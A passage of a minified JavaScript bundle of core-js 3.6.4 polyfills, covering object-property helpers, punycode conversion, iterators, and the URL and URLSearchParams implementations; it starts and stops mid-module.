r=e("../internals/descriptors"),i=e("../internals/object-define-property"),a=e("../internals/an-object"),o=e("../internals/object-keys");t.exports=r?Object.defineProperties:function(e,t){a(e);for(var n,r=o(t),s=r.length,l=0;s>l;)i.f(e,n=r[l++],t[n]);return e}},{"../internals/an-object":5,"../internals/descriptors":18,"../internals/object-define-property":47,"../internals/object-keys":53}],47:[function(e,t,n){var r=e("../internals/descriptors"),i=e("../internals/ie8-dom-define"),a=e("../internals/an-object"),o=e("../internals/to-primitive"),s=Object.defineProperty;n.f=r?s:function(e,t,n){if(a(e),t=o(t,!0),a(n),i)try{return s(e,t,n)}catch(e){}if("get"in n||"set"in n)throw TypeError("Accessors not supported");return"value"in n&&(e[t]=n.value),e}},{"../internals/an-object":5,"../internals/descriptors":18,"../internals/ie8-dom-define":31,"../internals/to-primitive":73}],48:[function(e,t,n){var r=e("../internals/descriptors"),i=e("../internals/object-property-is-enumerable"),a=e("../internals/create-property-descriptor"),o=e("../internals/to-indexed-object"),s=e("../internals/to-primitive"),l=e("../internals/has"),c=e("../internals/ie8-dom-define"),u=Object.getOwnPropertyDescriptor;n.f=r?u:function(e,t){if(e=o(e),t=s(t,!0),c)try{return u(e,t)}catch(e){}if(l(e,t))return a(!i.f.call(e,t),e[t])}},{"../internals/create-property-descriptor":15,"../internals/descriptors":18,"../internals/has":28,"../internals/ie8-dom-define":31,"../internals/object-property-is-enumerable":54,"../internals/to-indexed-object":69,"../internals/to-primitive":73}],49:[function(e,t,n){var r=e("../internals/object-keys-internal"),i=e("../internals/enum-bug-keys").concat("length","prototype");n.f=Object.getOwnPropertyNames||function(e){return r(e,i)}},{"../internals/enum-bug-keys":20,"../internals/object-keys-internal":52}],50:[function(e,t,n){n.f=Object.getOwnPropertySymbols},{}],51:[function(e,t,n){var r=e("../internals/has"),i=e("../internals/to-object"),a=e("../internals/shared-key"),o=e("../internals/correct-prototype-getter"),s=a("IE_PROTO"),l=Object.prototype;t.exports=o?Object.getPrototypeOf:function(e){return e=i(e),r(e,s)?e[s]:"function"==typeof e.constructor&&e instanceof e.constructor?e.constructor.prototype:e instanceof Object?l:null}},{"../internals/correct-prototype-getter":12,"../internals/has":28,"../internals/shared-key":63,"../internals/to-object":72}],52:[function(e,t,n){var r=e("../internals/has"),i=e("../internals/to-indexed-object"),a=e("../internals/array-includes").indexOf,o=e("../internals/hidden-keys");t.exports=function(e,t){var n,s=i(e),l=0,c=[];for(n in s)!r(o,n)&&r(s,n)&&c.push(n);for(;t.length>l;)r(s,n=t[l++])&&(~a(c,n)||c.push(n));return c}},{"../internals/array-includes":7,"../internals/has":28,"../internals/hidden-keys":29,"../internals/to-indexed-object":69}],53:[function(e,t,n){var r=e("../internals/object-keys-internal"),i=e("../internals/enum-bug-keys");t.exports=Object.keys||function(e){return r(e,i)}},{"../internals/enum-bug-keys":20,"../internals/object-keys-internal":52}],54:[function(e,t,n){"use strict";var r={}.propertyIsEnumerable,i=Object.getOwnPropertyDescriptor,a=i&&!r.call({1:2},1);n.f=a?function(e){var t=i(this,e);return!!t&&t.enumerable}:r},{}],55:[function(e,t,n){var r=e("../internals/an-object"),i=e("../internals/a-possible-prototype");t.exports=Object.setPrototypeOf||("__proto__"in{}?function(){var e,t=!1,n={};try{(e=Object.getOwnPropertyDescriptor(Object.prototype,"__proto__").set).call(n,[]),t=n instanceof Array}catch(e){}return function(n,a){return r(n),i(a),t?e.call(n,a):n.__proto__=a,n}}():void 0)},{"../internals/a-possible-prototype":2,"../internals/an-object":5}],56:[function(e,t,n){var r=e("../internals/get-built-in"),i=e("../internals/object-get-own-property-names"),a=e("../internals/object-get-own-property-symbols"),o=e("../internals/an-object");t.exports=r("Reflect","ownKeys")||function(e){var t=i.f(o(e)),n=a.f;return n?t.concat(n(e)):t}},{"../internals/an-object":5,"../internals/get-built-in":24,"../internals/object-get-own-property-names":49,"../internals/object-get-own-property-symbols":50}],57:[function(e,t,n){var r=e("../internals/global");t.exports=r},{"../internals/global":27}],58:[function(e,t,n){var r=e("../internals/redefine");t.exports=function(e,t,n){for(var i in t)r(e,i,t[i],n);return e}},{"../internals/redefine":59}],59:[function(e,t,n){var r=e("../internals/global"),i=e("../internals/create-non-enumerable-property"),a=e("../internals/has"),o=e("../internals/set-global"),s=e("../internals/inspect-source"),l=e("../internals/internal-state"),c=l.get,u=l.enforce,f=String(String).split("String");(t.exports=function(e,t,n,s){var l=!!s&&!!s.unsafe,c=!!s&&!!s.enumerable,p=!!s&&!!s.noTargetGet;"function"==typeof n&&("string"!=typeof t||a(n,"name")||i(n,"name",t),u(n).source=f.join("string"==typeof t?t:"")),e!==r?(l?!p&&e[t]&&(c=!0):delete e[t],c?e[t]=n:i(e,t,n)):c?e[t]=n:o(t,n)})(Function.prototype,"toString",(function(){return"function"==typeof this&&c(this).source||s(this)}))},{"../internals/create-non-enumerable-property":14,"../internals/global":27,"../internals/has":28,"../internals/inspect-source":33,"../internals/internal-state":34,"../internals/set-global":61}],60:[function(e,t,n){t.exports=function(e){if(null==e)throw TypeError("Can't call method on "+e);return e}},{}],61:[function(e,t,n){var r=e("../internals/global"),i=e("../internals/create-non-enumerable-property");t.exports=function(e,t){try{i(r,e,t)}catch(n){r[e]=t}return t}},{"../internals/create-non-enumerable-property":14,"../internals/global":27}],62:[function(e,t,n){var r=e("../internals/object-define-property").f,i=e("../internals/has"),a=e("../internals/well-known-symbol")("toStringTag");t.exports=function(e,t,n){e&&!i(e=n?e:e.prototype,a)&&r(e,a,{configurable:!0,value:t})}},{"../internals/has":28,"../internals/object-define-property":47,"../internals/well-known-symbol":77}],63:[function(e,t,n){var r=e("../internals/shared"),i=e("../internals/uid"),a=r("keys");t.exports=function(e){return a[e]||(a[e]=i(e))}},{"../internals/shared":65,"../internals/uid":75}],64:[function(e,t,n){var r=e("../internals/global"),i=e("../internals/set-global"),a=r["__core-js_shared__"]||i("__core-js_shared__",{});t.exports=a},{"../internals/global":27,"../internals/set-global":61}],65:[function(e,t,n){var r=e("../internals/is-pure"),i=e("../internals/shared-store");(t.exports=function(e,t){return i[e]||(i[e]=void 0!==t?t:{})})("versions",[]).push({version:"3.6.4",mode:r?"pure":"global",copyright:"© 2020 Denis Pushkarev (zloirock.ru)"})},{"../internals/is-pure":38,"../internals/shared-store":64}],66:[function(e,t,n){var r=e("../internals/to-integer"),i=e("../internals/require-object-coercible"),a=function(e){return function(t,n){var a,o,s=String(i(t)),l=r(n),c=s.length;return l<0||l>=c?e?"":void 0:(a=s.charCodeAt(l))<55296||a>56319||l+1===c||(o=s.charCodeAt(l+1))<56320||o>57343?e?s.charAt(l):a:e?s.slice(l,l+2):o-56320+(a-55296<<10)+65536}};t.exports={codeAt:a(!1),charAt:a(!0)}},{"../internals/require-object-coercible":60,"../internals/to-integer":70}],67:[function(e,t,n){"use strict";var r=/[^\0-\u007E]/,i=/[.\u3002\uFF0E\uFF61]/g,a="Overflow: input needs wider integers to process",o=Math.floor,s=String.fromCharCode,l=function(e){return e+22+75*(e<26)},c=function(e,t,n){var r=0;for(e=n?o(e/700):e>>1,e+=o(e/t);e>455;r+=36)e=o(e/35);return o(r+36*e/(e+38))},u=function(e){var t,n,r=[],i=(e=function(e){for(var t=[],n=0,r=e.length;n<r;){var i=e.charCodeAt(n++);if(i>=55296&&i<=56319&&n<r){var a=e.charCodeAt(n++);56320==(64512&a)?t.push(((1023&i)<<10)+(1023&a)+65536):(t.push(i),n--)}else t.push(i)}return t}(e)).length,u=128,f=0,p=72;for(t=0;t<e.length;t++)(n=e[t])<128&&r.push(s(n));var h=r.length,b=h;for(h&&r.push("-");b<i;){var d=2147483647;for(t=0;t<e.length;t++)(n=e[t])>=u&&n<d&&(d=n);var y=b+1;if(d-u>o((2147483647-f)/y))throw RangeError(a);for(f+=(d-u)*y,u=d,t=0;t<e.length;t++){if((n=e[t])<u&&++f>2147483647)throw RangeError(a);if(n==u){for(var g=f,v=36;;v+=36){var m=v<=p?1:v>=p+26?26:v-p;if(g<m)break;var w=g-m,j=36-m;r.push(s(l(m+w%j))),g=o(w/j)}r.push(s(l(g))),p=c(f,y,b==h),f=0,++b}}++f,++u}return r.join("")};t.exports=function(e){var t,n,a=[],o=e.toLowerCase().replace(i,".").split(".");for(t=0;t<o.length;t++)n=o[t],a.push(r.test(n)?"xn--"+u(n):n);return a.join(".")}},{}],68:[function(e,t,n){var r=e("../internals/to-integer"),i=Math.max,a=Math.min;t.exports=function(e,t){var n=r(e);return n<0?i(n+t,0):a(n,t)}},{"../internals/to-integer":70}],69:[function(e,t,n){var r=e("../internals/indexed-object"),i=e("../internals/require-object-coercible");t.exports=function(e){return r(i(e))}},{"../internals/indexed-object":32,"../internals/require-object-coercible":60}],70:[function(e,t,n){var r=Math.ceil,i=Math.floor;t.exports=function(e){return isNaN(e=+e)?0:(e>0?i:r)(e)}},{}],71:[function(e,t,n){var r=e("../internals/to-integer"),i=Math.min;t.exports=function(e){return e>0?i(r(e),9007199254740991):0}},{"../internals/to-integer":70}],72:[function(e,t,n){var r=e("../internals/require-object-coercible");t.exports=function(e){return Object(r(e))}},{"../internals/require-object-coercible":60}],73:[function(e,t,n){var r=e("../internals/is-object");t.exports=function(e,t){if(!r(e))return e;var n,i;if(t&&"function"==typeof(n=e.toString)&&!r(i=n.call(e)))return i;if("function"==typeof(n=e.valueOf)&&!r(i=n.call(e)))return i;if(!t&&"function"==typeof(n=e.toString)&&!r(i=n.call(e)))return i;throw TypeError("Can't convert object to primitive value")}},{"../internals/is-object":37}],74:[function(e,t,n){var r={};r[e("../internals/well-known-symbol")("toStringTag")]="z",t.exports="[object z]"===String(r)},{"../internals/well-known-symbol":77}],75:[function(e,t,n){var r=0,i=Math.random();t.exports=function(e){return"Symbol("+String(void 0===e?"":e)+")_"+(++r+i).toString(36)}},{}],76:[function(e,t,n){var r=e("../internals/native-symbol");t.exports=r&&!Symbol.sham&&"symbol"==typeof Symbol.iterator},{"../internals/native-symbol":41}],77:[function(e,t,n){var r=e("../internals/global"),i=e("../internals/shared"),a=e("../internals/has"),o=e("../internals/uid"),s=e("../internals/native-symbol"),l=e("../internals/use-symbol-as-uid"),c=i("wks"),u=r.Symbol,f=l?u:u&&u.withoutSetter||o;t.exports=function(e){return a(c,e)||(s&&a(u,e)?c[e]=u[e]:c[e]=f("Symbol."+e)),c[e]}},{"../internals/global":27,"../internals/has":28,"../internals/native-symbol":41,"../internals/shared":65,"../internals/uid":75,"../internals/use-symbol-as-uid":76}],78:[function(e,t,n){"use strict";var r=e("../internals/to-indexed-object"),i=e("../internals/add-to-unscopables"),a=e("../internals/iterators"),o=e("../internals/internal-state"),s=e("../internals/define-iterator"),l=o.set,c=o.getterFor("Array Iterator");t.exports=s(Array,"Array",(function(e,t){l(this,{type:"Array Iterator",target:r(e),index:0,kind:t})}),(function(){var e=c(this),t=e.target,n=e.kind,r=e.index++;return!t||r>=t.length?(e.target=void 0,{value:void 0,done:!0}):"keys"==n?{value:r,done:!1}:"values"==n?{value:t[r],done:!1}:{value:[r,t[r]],done:!1}}),"values"),a.Arguments=a.Array,i("keys"),i("values"),i("entries")},{"../internals/add-to-unscopables":3,"../internals/define-iterator":17,"../internals/internal-state":34,"../internals/iterators":40,"../internals/to-indexed-object":69}],79:[function(e,t,n){"use strict";var r=e("../internals/string-multibyte").charAt,i=e("../internals/internal-state"),a=e("../internals/define-iterator"),o=i.set,s=i.getterFor("String Iterator");a(String,"String",(function(e){o(this,{type:"String Iterator",string:String(e),index:0})}),(function(){var e,t=s(this),n=t.string,i=t.index;return i>=n.length?{value:void 0,done:!0}:(e=r(n,i),t.index+=e.length,{value:e,done:!1})}))},{"../internals/define-iterator":17,"../internals/internal-state":34,"../internals/string-multibyte":66}],80:[function(e,t,n){"use strict";e("../modules/es.array.iterator");var r=e("../internals/export"),i=e("../internals/get-built-in"),a=e("../internals/native-url"),o=e("../internals/redefine"),s=e("../internals/redefine-all"),l=e("../internals/set-to-string-tag"),c=e("../internals/create-iterator-constructor"),u=e("../internals/internal-state"),f=e("../internals/an-instance"),p=e("../internals/has"),h=e("../internals/function-bind-context"),b=e("../internals/classof"),d=e("../internals/an-object"),y=e("../internals/is-object"),g=e("../internals/object-create"),v=e("../internals/create-property-descriptor"),m=e("../internals/get-iterator"),w=e("../internals/get-iterator-method"),j=e("../internals/well-known-symbol"),x=i("fetch"),k=i("Headers"),S=j("iterator"),A=u.set,O=u.getterFor("URLSearchParams"),R=u.getterFor("URLSearchParamsIterator"),L=/\+/g,U=Array(4),P=function(e){return U[e-1]||(U[e-1]=RegExp("((?:%[\\da-f]{2}){"+e+"})","gi"))},I=function(e){try{return decodeURIComponent(e)}catch(t){return e}},q=function(e){var t=e.replace(L," "),n=4;try{return decodeURIComponent(t)}catch(e){for(;n;)t=t.replace(P(n--),I);return t}},E=/[!'()~]|%20/g,_={"!":"%21","'":"%27","(":"%28",")":"%29","~":"%7E","%20":"+"},T=function(e){return _[e]},B=function(e){return encodeURIComponent(e).replace(E,T)},F=function(e,t){if(t)for(var n,r,i=t.split("&"),a=0;a<i.length;)(n=i[a++]).length&&(r=n.split("="),e.push({key:q(r.shift()),value:q(r.join("="))}))},C=function(e){this.entries.length=0,F(this.entries,e)},M=function(e,t){if(e<t)throw TypeError("Not enough arguments")},N=c((function(e,t){A(this,{type:"URLSearchParamsIterator",iterator:m(O(e).entries),kind:t})}),"Iterator",(function(){var e=R(this),t=e.kind,n=e.iterator.next(),r=n.value;return n.done||(n.value="keys"===t?r.key:"values"===t?r.value:[r.key,r.value]),n})),D=function(){f(this,D,"URLSearchParams");var e,t,n,r,i,a,o,s,l,c=arguments.length>0?arguments[0]:void 0,u=[];if(A(this,{type:"URLSearchParams",entries:u,updateURL:function(){},updateSearchParams:C}),void 0!==c)if(y(c))if("function"==typeof(e=w(c)))for(n=(t=e.call(c)).next;!(r=n.call(t)).done;){if((o=(a=(i=m(d(r.value))).next).call(i)).done||(s=a.call(i)).done||!a.call(i).done)throw TypeError("Expected sequence with length 2");u.push({key:o.value+"",value:s.value+""})}else for(l in c)p(c,l)&&u.push({key:l,value:c[l]+""});else F(u,"string"==typeof c?"?"===c.charAt(0)?c.slice(1):c:c+"")},z=D.prototype;s(z,{append:function(e,t){M(arguments.length,2);var n=O(this);n.entries.push({key:e+"",value:t+""}),n.updateURL()},delete:function(e){M(arguments.length,1);for(var t=O(this),n=t.entries,r=e+"",i=0;i<n.length;)n[i].key===r?n.splice(i,1):i++;t.updateURL()},get:function(e){M(arguments.length,1);for(var t=O(this).entries,n=e+"",r=0;r<t.length;r++)if(t[r].key===n)return t[r].value;return null},getAll:function(e){M(arguments.length,1);for(var t=O(this).entries,n=e+"",r=[],i=0;i<t.length;i++)t[i].key===n&&r.push(t[i].value);return r},has:function(e){M(arguments.length,1);for(var t=O(this).entries,n=e+"",r=0;r<t.length;)if(t[r++].key===n)return!0;return!1},set:function(e,t){M(arguments.length,1);for(var n,r=O(this),i=r.entries,a=!1,o=e+"",s=t+"",l=0;l<i.length;l++)(n=i[l]).key===o&&(a?i.splice(l--,1):(a=!0,n.value=s));a||i.push({key:o,value:s}),r.updateURL()},sort:function(){var e,t,n,r=O(this),i=r.entries,a=i.slice();for(i.length=0,n=0;n<a.length;n++){for(e=a[n],t=0;t<n;t++)if(i[t].key>e.key){i.splice(t,0,e);break}t===n&&i.push(e)}r.updateURL()},forEach:function(e){for(var t,n=O(this).entries,r=h(e,arguments.length>1?arguments[1]:void 0,3),i=0;i<n.length;)r((t=n[i++]).value,t.key,this)},keys:function(){return new N(this,"keys")},values:function(){return new N(this,"values")},entries:function(){return new N(this,"entries")}},{enumerable:!0}),o(z,S,z.entries),o(z,"toString",(function(){for(var e,t=O(this).entries,n=[],r=0;r<t.length;)e=t[r++],n.push(B(e.key)+"="+B(e.value));return n.join("&")}),{enumerable:!0}),l(D,"URLSearchParams"),r({global:!0,forced:!a},{URLSearchParams:D}),a||"function"!=typeof x||"function"!=typeof k||r({global:!0,enumerable:!0,forced:!0},{fetch:function(e){var t,n,r,i=[e];return arguments.length>1&&(y(t=arguments[1])&&(n=t.body,"URLSearchParams"===b(n)&&((r=t.headers?new k(t.headers):new k).has("content-type")||r.set("content-type","application/x-www-form-urlencoded;charset=UTF-8"),t=g(t,{body:v(0,String(n)),headers:v(0,r)}))),i.push(t)),x.apply(this,i)}}),t.exports={URLSearchParams:D,getState:O}},{"../internals/an-instance":4,"../internals/an-object":5,"../internals/classof":10,"../internals/create-iterator-constructor":13,"../internals/create-property-descriptor":15,"../internals/export":21,"../internals/function-bind-context":23,"../internals/get-built-in":24,"../internals/get-iterator":26,"../internals/get-iterator-method":25,"../internals/has":28,"../internals/internal-state":34,"../internals/is-object":37,"../internals/native-url":42,"../internals/object-create":45,"../internals/redefine":59,"../internals/redefine-all":58,"../internals/set-to-string-tag":62,"../internals/well-known-symbol":77,"../modules/es.array.iterator":78}],81:[function(e,t,n){"use strict";e("../modules/es.string.iterator");var r,i=e("../internals/export"),a=e("../internals/descriptors"),o=e("../internals/native-url"),s=e("../internals/global"),l=e("../internals/object-define-properties"),c=e("../internals/redefine"),u=e("../internals/an-instance"),f=e("../internals/has"),p=e("../internals/object-assign"),h=e("../internals/array-from"),b=e("../internals/string-multibyte").codeAt,d=e("../internals/string-punycode-to-ascii"),y=e("../internals/set-to-string-tag"),g=e("../modules/web.url-search-params"),v=e("../internals/internal-state"),m=s.URL,w=g.URLSearchParams,j=g.getState,x=v.set,k=v.getterFor("URL"),S=Math.floor,A=Math.pow,O=/[A-Za-z]/,R=/[\d+\-.A-Za-z]/,L=/\d/,U=/^(0x|0X)/,P=/^[0-7]+$/,I=/^\d+$/,q=/^[\dA-Fa-f]+$/,E=/[\u0000\u0009\u000A\u000D #%/:?@[\\]]/,_=/[\u0000\u0009\u000A\u000D #/:?@[\\]]/,T=/^[\u0000-\u001F ]+|[\u0000-\u001F ]+$/g,B=/[\u0009\u000A\u000D]/g,F=function(e,t){var n,r,i;if("["==t.charAt(0)){if("]"!=t.charAt(t.length-1))return"Invalid host";if(!(n=M(t.slice(1,-1))))return"Invalid host";e.host=n}else if(Y(e)){if(t=d(t),E.test(t))return"Invalid host";if(null===(n=C(t)))return"Invalid host";e.host=n}else{if(_.test(t))return"Invalid host";for(n="",r=h(t),i=0;i<r.length;i++)n+=$(r[i],D);e.host=n}},C=function(e){var t,n,r,i,a,o,s,l=e.split(".");if(l.length&&""==l[l.length-1]&&l.pop(),(t=l.length)>4)return e;for(n=[],r=0;r<t;r++){if(""==(i=l[r]))return e;if(a=10,i.length>1&&"0"==i.charAt(0)&&(a=U.test(i)?16:8,i=i.slice(8==a?1:2)),""===i)o=0;else{if(!(10==a?I:8==a?P:q).test(i))return e;o=parseInt(i,a)}n.push(o)}for(r=0;r<t;r++)if(o=n[r],r==t-1){if(o>=A(256,5-t))return null}else if(o>255)return null;for(s=n.pop(),r=0;r<n.length;r++)s+=n[r]*A(256,3-r);return s},M=function(e){var t,n,r,i,a,o,s,l=[0,0,0,0,0,0,0,0],c=0,u=null,f=0,p=function(){return e.charAt(f)};if(":"==p()){if(":"!=e.charAt(1))return;f+=2,u=++c}for(;p();){if(8==c)return;if(":"!=p()){for(t=n=0;n<4&&q.test(p());)t=16*t+parseInt(p(),16),f++,n++;if("."==p()){if(0==n)return;if(f-=n,c>6)return;for(r=0;p();){if(i=null,r>0){if(!("."==p()&&r<4))return;f++}if(!L.test(p()))return;for(;L.test(p());){if(a=parseInt(p(),10),null===i)i=a;else{if(0==i)return;i=10*i+a}if(i>255)return;f++}l[c]=256*l[c]+i,2!=++r&&4!=r||c++}if(4!=r)return;break}if(":"==p()){if(f++,!p())return}else if(p())return;l[c++]=t}else{if(null!==u)return;f++,u=++c}}if(null!==u)for(o=c-u,c=7;0!=c&&o>0;)s=l[c],l[c--]=l[u+o-1],l[u+--o]=s;else if(8!=c)return;return l},N=function(e){var t,n,r,i;if("number"==typeof e){for(t=[],n=0;n<4;n++)t.unshift(e%256),e=S(e/256);return t.join(".")}if("object"==typeof e){for(t="",r=function(e){for(var t=null,n=1,r=null,i=0,a=0;a<8;a++)0!==e[a]?(i>n&&(t=r,n=i),r=null,i=0):(null===r&&(r=a),++i);return i>n&&(t=r,n=i),t}(e),n=0;n<8;n++)i&&0===e[n]||(i&&(i=!1),r===n?(t+=n?":":"::",i=!0):(t+=e[n].toString(16),n<7&&(t+=":")));return"["+t+"]"}return e},D={},z=p({},D,{" ":1,'"':1,"<":1,">":1,"`":1}),G=p({},z,{"#":1,"?":1,"{":1,"}":1}),W=p({},G,{"/":1,":":1,";":1,"=":1,"@":1,"[":1,"\\":1,"]":1,"^":1,"|":1}),$=function(e,t){var n=b(e,0);return n>32&&n<127&&!f(t,e)?e:encodeURIComponent(e)},J={ftp:21,file:null,http:80,https:443,ws:80,wss:443},Y=function(e){return f(J,e.scheme)},X=function(e){return""!=e.username||""!=e.password},Z=function(e){return!e.host||e.cannotBeABaseURL||"file"==e.scheme},H=function(e,t){var n;return 2==e.length&&O.test(e.charAt(0))&&(":"==(n=e.charAt(1))||!t&&"|"==n)},K=function(e){var t;return e.length>1&&H(e.slice(0,2))&&(2==e.length||"/"===(t=e.charAt(2))||"\\"===t||"?"===t||"#"===t)},V=function(e){var t=e.path,n=t.length;!n||"file"==e.scheme&&1==n&&H(t[0],!0)||t.pop()},Q=function(e){return"."===e||"%2e"===e.toLowerCase()},ee={},te={},ne={},re={},ie={},ae={},oe={},se={},le={},ce={},ue={},fe={},pe={},he={},be={},de={},ye={},ge={},ve={},me={},we={},je=function(e,t,n,i){var a,o,s,l,c,u=n||ee,p=0,b="",d=!1,y=!1,g=!1;for(n||(e.scheme="",e.username="",e.password="",e.host=null,e.port=null,e.path=[],e.query=null,e.fragment=null,e.cannotBeABaseURL=!1,t=t.replace(T,"")),t=t.replace(B,""),a=h(t);p<=a.length;){switch(o=a[p],u){case ee:if(!o||!O.test(o)){if(n)return"Invalid scheme";u=ne;continue}b+=o.toLowerCase(),u=te;break;case te:if(o&&(R.test(o)||"+"==o||"-"==o||"."==o))b+=o.toLowerCase();else{if(":"!=o){if(n)return"Invalid scheme";b="",u=ne,p=0;continue}if(n&&(Y(e)!=f(J,b)||"file"==b&&(X(e)||null!==e.port)||"file"==e.scheme&&!e.host))return;if(e.scheme=b,n)return void(Y(e)&&J[e.scheme]==e.port&&(e.port=null));b="","file"==e.scheme?u=he:Y(e)&&i&&i.scheme==e.scheme?u=re:Y(e)?u=se:"/"==a[p+1]?(u=ie,p++):(e.cannotBeABaseURL=!0,e.path.push(""),u=ve)}break;case ne:if(!i||i.cannotBeABaseURL&&"#"!=o)return"Invalid scheme";if(i.cannotBeABaseURL&&"#"==o){e.scheme=i.scheme,e.path=i.path.slice(),e.query=i.query,e.fragment="",e.cannotBeABaseURL=!0,u=we;break}u="file"==i.scheme?he:ae;continue;case re:if("/"!=o||"/"!=a[p+1]){u=ae;continue}u=le,p++;break;case ie:if("/"==o){u=ce;break}u=ge;continue;case ae:if(e.scheme=i.scheme,o==r)e.username=i.username,e.password=i.password,e.host=i.host,e.port=i.port,e.path=i.path.slice(),e.query=i.query;else if("/"==o||"\\"==o&&Y(e))u=oe;else if("?"==o)e.username=i.username,e.password=i.password,e.host=i.host,e.port=i.port,e.path=i.path.slice(),e.query="",u=me;else{if("#"!=o){e.username=i.username,e.password=i.password,e.host=i.host,e.port=i.port,e.path=i.path.slice(),e.path.pop(),u=ge;continue}e.username=i.username,e.password=i.password,e.host=i.host,e.port=i.port,e.path=i.path.slice(),e.query=i.query,e.fragment="",u=we}break;case oe:if(!Y(e)||"/"!=o&&"\\"!=o){if("/"!=o){e.username=i.username,e.password=i.password,e.host=i.host,e.port=i.port,u=ge;continue}u=ce}else u=le;break;case se:if(u=le,"/"!=o||"/"!=b.charAt(p+1))continue;p++;break;case le:if("/"!=o&&"\\"!=o){u=ce;continue}break;case ce:if("@"==o){d&&(b="%40"+b),d=!0,s=h(b);for(var v=0;v<s.length;v++){var m=s[v];if(":"!=m||g){var w=$(m,W);g?e.password+=w:e.username+=w}else g=!0}b=""}else if(o==r||"/"==o||"?"==o||"#"==o||"\\"==o&&Y(e)){if(d&&""==b)return"Invalid authority";p-=h(b).length+1,b="",u=ue}else b+=o;break;case ue:case fe:if(n&&"file"==e.scheme){u=de;continue}if(":"!=o||y){if(o==r||"/"==o||"?"==o||"#"==o||"\\"==o&&Y(e)){if(Y(e)&&""==b)return"Invalid host";if(n&&""==b&&(X(e)||null!==e.port))return;if(l=F(e,b))return l;if(b="",u=ye,n)return;continue}"["==o?y=!0:"]"==o&&(y=!1),b+=o}else{if(""==b)return"Invalid host";if(l=F(e,b))return l;if(b="",u=pe,n==fe)return}break;case pe:if(!L.test(o)){if(o==r||"/"==o||"?"==o||"#"==o||"\\"==o&&Y(e)||n){if(""!=b){var j=parseInt(b,10);if(j>65535)return"Invalid port";e.port=Y(e)&&j===J[e.scheme]?null:j,b=""}if(n)return;u=ye;continue}return"Invalid port"}b+=o;break;case he:if(e.scheme="file","/"==o||"\\"==o)u=be;else{if(!i||"file"!=i.scheme){u=ge;continue}if(o==r)e.host=i.host,e.path=i.path.slice(),e.query=i.query;else if("?"==o)e.host=i.host,e.path=i.path.slice(),e.query="",u=me;else{if("#"!=o){K(a.slice(p).join(""))||(e.host=i.host,e.path=i.path.slice(),V(e)),u=ge;continue}e.host=i.host,e.path=i.path.slice(),e.query=i.query,e.fragment="",u=we}}break;case be:if("/"==o||"\\"==o){u=de;break}i&&"file"==i.scheme&&!K(a.slice(p).join(""))&&(H(i.path[0],!0)?e.path.push(i.path[0]):e.host=i.host),u=ge;continue;case de:if(o==r||"/"==o||"\\"==o||"?"==o||"#"==o){if(!n&&H(b))u=ge;else if(""==b){if(e.host="",n)return;u=ye}else{if(l=F(e,b))return l;if("localhost"==e.host&&(e.host=""),n)return;b="",u=ye}continue}b+=o;break;case ye:if(Y(e)){if(u=ge,"/"!=o&&"\\"!=o)continue}else if(n||"?"!=o)if(n||"#"!=o){if(o!=r&&(u=ge,"/"!=o))continue}else e.fragment="",u=we;else e.query="",u=me;break;case ge:if(o==r||"/"==o||"\\"==o&&Y(e)||!n&&("?"==o||"#"==o)){if(".."===(c=(c=b).toLowerCase())||"%2e."===c||".%2e"===c||"%2e%2e"===c?(V(e),"/"==o||"\\"==o&&Y(e)||e.path.push("")):Q(b)?"/"==o||"\\"==o&&Y(e)||e.path.push(""):("file"==e.scheme&&!e.path.length&&H(b)&&(e.host&&(e.host=""),b=b.charAt(0)+":"),e.path.push(b)),b="","file"==e.scheme&&(o==r||"?"==o||"#"==o))for(;e.path.length>1&&""===e.path[0];)e.path.shift();"?"==o?(e.query="",u=me):"#"==o&&(e.fragment="",u=we)}else b+=$(o,G);break;case ve:"?"==o?(e.query="",u=me):"#"==o?(e.fragment="",u=we):o!=r&&(e.path[0]+=$(o,D));break;case me:n||"#"!=o?o!=r&&("'"==o&&Y(e)?e.query+="%27":e.query+="#"==o?"%23":$(o,D)):(e.fragment="",u=we);break;case we:o!=r&&(e.fragment+=$(o,z))}p++}},xe=function(e){var t,n,r=u(this,xe,"URL"),i=arguments.length>1?arguments[1]:void 0,o=String(e),s=x(r,{type:"URL"});if(void 0!==i)if(i instanceof xe)t=k(i);else if(n=je(t={},String(i)))throw TypeError(n);if(n=je(s,o,null,t))throw TypeError(n);var l=s.searchParams=new w,c=j(l);c.updateSearchParams(s.query),c.updateURL=function(){s.query=String(l)||null},a||(r.href=Se.call(r),r.origin=Ae.call(r),r.protocol=Oe.call(r),r.username=Re.call(r),r.password=Le.call(r),r.host=Ue.call(r),r.hostname=Pe.call(r),r.port=Ie.call(r),r.pathname=qe.call(r),r.search=Ee.call(r),r.searchParams=_e.call(r),r.hash=Te.call(r))},ke=xe.prototype,Se=function(){var e=k(this),t=e.scheme,n=e.username,r=e.password,i=e.host,a=e.port,o=e.path,s=e.query,l=e.fragment,c=t+":";return null!==i?(c+="//",X(e)&&(c+=n+(r?":"+r:"")+"@"),c+=N(i),null!==a&&(c+=":"+a)):"file"==t&&(c+="//"),c+=e.cannotBeABaseURL?o[0]:o.length?"/"+o.join("/"):"",null!==s&&(c+="?"+s),null!==l&&(c+="#"+l),c},Ae=function(){var e=k(this),t=e.scheme,n=e.port;if("blob"==t)try{return new URL(t.path[0]).origin}catch(e){return"null"}return"file"!=t&&Y(e)?t+"://"+N(e.host)+(null!==n?":"+n:""):"null"},Oe=function(){return k(this).scheme+":"},Re=function(){return k(this).username},Le=function(){return k(this).password},Ue=function(){var e=k(this),t=e.host,n=e.port;return null===t?"":null===n?N(t):N(t)+":"+n},Pe=function(){var e=k(this).host;return null===e?"":N(e)},Ie=function(){var e=k(this).port;return null===e?"":String(e)},qe=function(){var e=k(this),t=e.path;return e.cannotBeABaseURL?t[0]:t.length?"/"+t.join("/"):""},Ee=function(){var e=k(this).query;return e?"?"+e:""},_e=function(){return k(this).searchParams},Te=function(){var e=k(this).fragment;return e?"#"+e:""},Be=function(e,t){return{get:e,set:t,configurable:!0,enumerable:!0}};if(a&&l(ke,{href:Be(Se,(function(e){var t=k(this),n=String(e),r=je(t,n);if(r)throw TypeError(r);j(t.searchParams).updateSearchParams(t.query)})),origin:Be(Ae),protocol:Be(Oe,(function(e){var t=k(this);je(t,String(e)+":",ee)})),username:Be(Re,(function(e){var t=k(this),n=h(String(e));if(!Z(t)){t.username="";for(var r=0;r<n.length;r++)t.username+=$(n[r],W)}})),password:Be(Le,(function(e){var t=k(this),n=h(String(e));if(!Z(t)){t.password="";for(var r=0;r<n.length;r++)t.password+=$(n[r],W)}})),host:Be(Ue,(function(e){var 